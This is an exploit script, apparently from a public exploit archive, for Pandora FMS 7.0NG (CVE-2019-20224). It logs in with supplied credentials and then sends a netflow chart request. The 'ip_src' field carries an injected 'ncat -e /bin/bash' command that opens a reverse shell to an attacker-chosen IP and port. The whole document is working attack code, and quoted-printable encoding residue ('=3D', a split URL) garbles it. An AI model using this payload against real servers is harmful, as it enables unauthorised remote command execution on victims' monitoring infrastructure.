Share
# Exploit Title: Pandora 7.0NG - Remote Code Execution  
# Date: 2019-11-14  
# Exploit Author: Askar (@mohammadaskar2)  
# CVE: CVE-2019-20224  
# Vendor Homepage: https://pandorafms.org/  
# Software link: https://pandorafms.org/features/free-download-monitoring-software/  
# Version: v7.0NG  
# Tested on: CentOS 7.3 / PHP 5.4.16  
  
#!/usr/bin/python3  
  
import requests  
import sys  
  
if len(sys.argv) !=3D 6:  
print("[+] Usage : ./exploit.py target username password ip port")  
exit()  
  
target =3D sys.argv[1]  
username =3D sys.argv[2]  
password =3D sys.argv[3]  
ip =3D sys.argv[4]  
port =3D int(sys.argv[5])  
  
request =3D requests.session()  
  
login_info =3D {  
"nick": username,  
"pass": password,  
"login_button": "Login"  
}  
  
login_request =3D request.post(  
target+"/pandora_console/index.php?login=3D1",  
login_info,  
verify=3DFalse,  
allow_redirects=3DTrue  
)  
  
resp =3D login_request.text  
  
if "User not found in database" in resp:  
print("[-] Login Failed")  
exit()  
else:  
print("[+] Logged In Successfully")  
  
print("[+] Sending crafted graph request ..")  
  
body_request =3D {  
"date": "0",  
"time": "0",  
"period": "0",  
"interval_length": "0",  
"chart_type": "netflow_area",  
"max_aggregates": "1",  
"address_resolution": "0",  
"name": "0",  
"assign_group": "0",  
"filter_type": "0",  
"filter_id": "0",  
"filter_selected": "0",  
"ip_dst": "0",  
"ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port),  
"draw_button": "Draw"  
}  
  
draw_url =3D target + "/pandora_console/index.php?sec=3Dnetf&sec2=3Doperati=  
on/netflow/nf_live_view&pure=3D0"  
print("[+] Check your netcat ;)")  
request.post(draw_url, body_request)